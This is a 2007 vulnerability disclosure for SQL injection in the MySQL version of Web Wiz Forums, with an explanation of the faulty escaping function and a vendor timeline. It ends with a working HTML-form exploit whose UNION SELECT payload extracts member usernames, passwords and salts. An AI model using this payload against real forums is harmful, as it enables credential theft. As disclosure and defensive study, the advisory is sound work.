There is a vulnerability in MySQL version of Web Wiz Forums, free ASP
bulletin board system software, enabling SQL injection. The
vulnerability is in the code used to filter string parameters prior to
including them in the SQL queries:
'Format SQL Query funtion
Private Function formatSQLInput(ByVal strInputEntry)
'Remove malisous charcters from sql
strInputEntry = Replace(strInputEntry, "'", "'", 1, -1, 1)
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "<", "<", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ">", ">", 1, -1, 1)
'Return
formatSQLInput = strInputEntry
End Function
Assume the user enters a string containing the following sequence of
characters: "' (a backslash, followed by a double quote followed by a
single quote). The first line inside the function above would do
nothing, the second line would remove the double quote, and after the
third line the sequence would look like '' (a backslash followed by
two single quotes). In MySQL the first two characters would be
interpreted as an escaped single quote and the third character would
terminate the quotes thus allowing injection of arbitrary SQL code
placed after it.
Only the MySQL version of the Web Wiz Forums is vulnerable to this as
SQL Server and MS Access don't use backslash as an escape character.
Below I include a small exploit that demonstrates this vulnerability.
Mar 19th 2007: Vulnerability discovered
Mar 20th 2007: Vendor contacted
Mar 20th 2007: Vendor responded
Mar 20th 2007: Vendor released fixed version (8.05a)
Discovered and reported by Ivan Fratric
http://ifsec.blogspot.com/
<form method="post" action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value=""' union
select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt)
from tblautauthorhor /*" >
<input type="submit" value="Go">
</form>